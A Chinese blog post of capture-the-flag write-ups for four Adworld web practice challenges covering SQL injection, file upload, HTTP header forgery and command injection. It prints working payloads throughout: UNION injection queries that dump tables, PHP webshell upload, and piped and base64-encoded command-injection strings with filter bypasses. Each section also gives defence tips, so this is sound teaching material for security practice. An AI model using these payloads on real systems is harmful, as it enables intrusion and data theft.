双剑破天门:攻防世界Web题解之独孤九剑心法(七)

双剑破天门:攻防世界Web题解之独孤九剑心法(七)

免责声明:用户因使用公众号内容而产生的任何行为和后果,由用户自行承担责任。本公众号不承担因用户误解、不当使用等导致的法律责任


**本文以攻防世界部分题为例进行演示,后续会对攻防世界大部分的web题目进行演示,如果你感兴趣请关注**


目录

一:Newscenter

二:upload1

三:Xff_referer

四:Command_execution

五:总结

1. Newscenter(SQL注入)

2. upload1(文件上传漏洞)

3. Xff_referer(HTTP头伪造)

4. Command_execution(命令注入)


一:Newscenter

打开为如下所示

经过尝试,得知在输入框中输入数字可得到不同内容

输入23就没有新闻

所以我们得知这个输入框和数据库有交互,那这题考察的可能就是SQL注入

发现将数据库中所有的内容都查询了出来,那这个题考察的就是SQL注入

字段长度为3

23' order by 3 #

回显字段有2,3

23' union select 1,2,3 #

数据库名为news

23' union select 1,database(),3 #

表名为如下

23' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="news" #

根据表名查到列名

23' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="secret_table" #

成功拿到flag

23' union select 1,fl4g,3 from secret_table #

二:upload1

发现有提示框提示需要上传图片,既然是提示框那就说明是前端验证

关闭如下所示

然后我们上传一张php即可

用蚁剑连接即可

成功拿到flag


三:Xff_referer

打开提示我们ip必须为123.123.123.123,那我们得知既然要ip来自于123,那就需要进行伪造ip头也就是X-Forwarded-For字段

打开bp进行抓包

输入X-Forwarded-For:123.123.123.123 进行伪造

发送后又提示我们来源为google

来源字段是referer

伪造referer字段


四:Command_execution

打开发现为ping功能,我们先随便ping一下然后再看看能否查看其他数据

Ping 127.0.0.1 发现可以,那我们填写这样的payload:127.0.0.1 | ls

成功执行ls,说明没有任何过滤。那接下来就可以查找flag了

执行127.0.0.1 |find / -name “fl*”

发现可以文件如下

成功拿到flag


五:总结

1. Newscenter(SQL注入)

考察点

  • SQL注入漏洞:未对用户输入进行过滤,允许通过注入获取数据库信息。
  • 联合查询(UNION注入):通过构造联合查询语句获取敏感数据。

解题思路

  1. 探测注入点:在搜索框输入单引号',观察是否存在报错。
  2. 判断字段数:使用ORDER BY确定查询字段数(如' ORDER BY 3--)。
  3. 联合查询注入
    • 构造Payload:' UNION SELECT 1,2,database()-- 获取数据库名。
    • 继续查询表名(如information_schema.tables)、列名,最终读取flag字段。

关键技术

  • 报错注入或布尔盲注(根据回显情况选择)。
  • 利用information_schema数据库获取元数据。

防御建议

  • 使用预编译语句(Prepared Statements)。
  • 对输入进行严格的字符过滤和转义。

2. upload1(文件上传漏洞)

考察点

  • 文件上传绕过:绕过前端和后端对文件类型、内容的检测。
  • Webshell利用:上传m蚂获取服务器权限。

解题思路

  1. 绕过前端验证
    • 修改文件扩展名为.php,并抓包修改Content-Typeimage/jpeg
  2. 绕过后端检测
    • 使用图片m(在图片中嵌入PHP代码),或利用.htaccess文件设置解析规则(如AddType application/x-httpd-php .jpg)。
  3. 访问上传文件:通过上传路径访问Webshell,执行系统命令获取flag。

关键技术

  • 双写扩展名绕过(如up.php.phtml)。
  • 利用服务器解析漏洞(如Apache解析漏洞test.php.xxx)。

防御建议

  • 限制上传文件类型,使用白名单机制。
  • 重命名上传文件,避免直接执行。

3. Xff_referer(HTTP头伪造)

考察点

  • HTTP头伪造:伪造X-Forwarded-For(XFF)和Referer头绕过访问控制。
  • 本地访问限制:服务器仅允许特定来源或本地IP访问。

解题思路

  1. 伪造XFF头:使用Burp Suite拦截请求,添加X-Forwarded-For: 127.0.0.1伪装本地IP。
  2. 伪造Referer头:修改Referer为题目指定域名(如http://www.google.com)通过验证。

关键技术

  • 工具:Burp Suite/Postman修改请求头。
  • 理解HTTP头在访问控制中的作用。

防御建议

  • 避免依赖客户端可控的字段(如XFF、Referer)做权限验证。
  • 使用服务器端会话机制管理权限。

4. Command_execution(命令注入)

考察点

  • 命令注入漏洞:未过滤用户输入直接拼接系统命令。
  • 绕过过滤技巧:绕过空格、关键词黑名单等限制。

解题思路

  1. 探测注入点:输入127.0.0.1; ls尝试执行命令。
  2. 绕过过滤
    • 空格绕过:使用${IFS}%09(Tab的URL编码)。
    • 关键词绕过:用ca\tbase64编码命令(如echo "Y2F0IGZsYWc=" | base64 -d | bash)。
  3. 读取flag:通过cattac命令读取flag文件。

关键技术

  • 命令分隔符:;&|||
  • 通配符绕过:cat fla*

防御建议

  • 使用安全的API(如subprocess模块)替代直接执行命令。
  • 严格校验输入,禁止特殊字符。

(需要源代码及各类资料联系博主免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力!!!)

Read more

图论基础与遍历算法(BFS+DFS)

一、图的核心概念 1. 图的定义:图 G=(V,E) 由顶点(节点 V)和边(E)组成,是描述元素间关联关系的核心数据结构。 2. 图的分类:无向图(边无方向)、有向图(边有方向,从起点指向终点)、带权图(边附带距离、概率等权重信息)。 二、图的存储方式 (一)邻接矩阵 * 结构:n 个顶点的图对应 n×n 矩阵,通过矩阵元素值表示顶点间连接关系。 * 关键特性:无向图的邻接矩阵是对称矩阵(a[i][j]=a[j][i],1 表示有边,0 表示无边);有向图的邻接矩阵不一定对称(a[

By Ne0inhk
【C++进阶系列】:万字详解unordered_set和unordered_map,带你手搓一个哈希表!(附模拟实现unordered_set和unordered_map的源码)

【C++进阶系列】:万字详解unordered_set和unordered_map,带你手搓一个哈希表!(附模拟实现unordered_set和unordered_map的源码)

🔥 本文专栏:c++ 🌸作者主页:努力努力再努力wz 💪 今日博客励志语录:努力不是为了回报,而是不让自己留下任何遗憾 ★★★ 本文前置知识: map和set模拟实现 引入 那么在正式讲解STL的unordered_map以及unordered_set这两个容器之前,我们先来回顾一下,目前我们接触到能够高效查找数据的数据结构,那么首先我们可以想到的能够实现高效查找数据的数据结构便是数组,但是这里的数组不是简单的将元素直接存放到数组中的任意位置,而是会将存储在数组中的元素先进行一次排序,然后借助二分算法来进行查找,由于这里数组的排序只需要一次,那么排序付出的代价可以均摊到每一次的查找操作中,所以这里排序的代价可以忽略不计,而二分查找的时间复杂度则是logN,所以这种方式能够实现高效的数据查找,但是如果涉及到插入以及删除操作的话,如果插入以及删除元素不在数组末尾,那么必然就要移动大量的元素,意味着插入和删除的时间复杂度最坏情况下会到达O(N),效率相比于查找就不那么高效 接着就是在二叉搜索树的基础上优化,压缩其高度的AVL树和红黑树这两个数据结构,这两种数据结

By Ne0inhk
【排序算法全家桶 Level 3】交换排序:从冒泡优化到快排四重奏

【排序算法全家桶 Level 3】交换排序:从冒泡优化到快排四重奏

🏠 个人主页:EXtreme35 📚 个人专栏: 专栏名称专栏主题简述《C语言》C语言基础、语法解析与实战应用《数据结构》线性表、树、图等核心数据结构详解《题解思维》算法思路、解题技巧与高效编程实践 目录 * 一、 冒泡排序 * 1.1 算法思想:气泡升腾的奥秘 * 1.2 为什么你的冒泡排序总是比别人慢? * 1.3 代码实现 * 二、快速排序 * 2.1 初始版本:Hoare 版 * 2.1.1 初始代码 * 2.1.2 优化一:三数取中 * 2.1.2 优化二:小区间优化 * 2.2

By Ne0inhk

【无人机三维路径规划】基于鳄鱼伏击算法CAOA多无人机协同路径规划(自定义:无人机数量)附Matlab代码

✅作者简介:热爱科研的Matlab仿真开发者,擅长数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。 🍎 往期回顾关注个人主页:Matlab科研工作室  👇 关注我领取海量matlab电子书和数学建模资料  🍊个人信条:格物致知,完整Matlab代码获取及仿真咨询内容私信。 🔥 内容介绍 一、引言 在电力巡检、应急救援、地理测绘等复杂场景中,多无人机协同作业凭借效率高、覆盖范围广、任务容错性强等优势,逐渐取代单一无人机成为主流作业模式。三维路径规划作为多无人机协同的核心技术,需解决三大核心问题:一是复杂三维环境(如地形起伏、障碍物分布)下的路径可行性;二是多无人机间的避碰协同(避免飞行冲突);三是路径的全局最优性(兼顾飞行距离、能耗、时间成本)。 传统多无人机路径规划算法(如 PSO、GA、A*)存在协同机制复杂、三维环境适应性差、易陷入局部最优等缺陷。鳄鱼伏击算法(Crocodile Attack Optimization Algorithm, CAOA)是一种新型群智能优化算法,

By Ne0inhk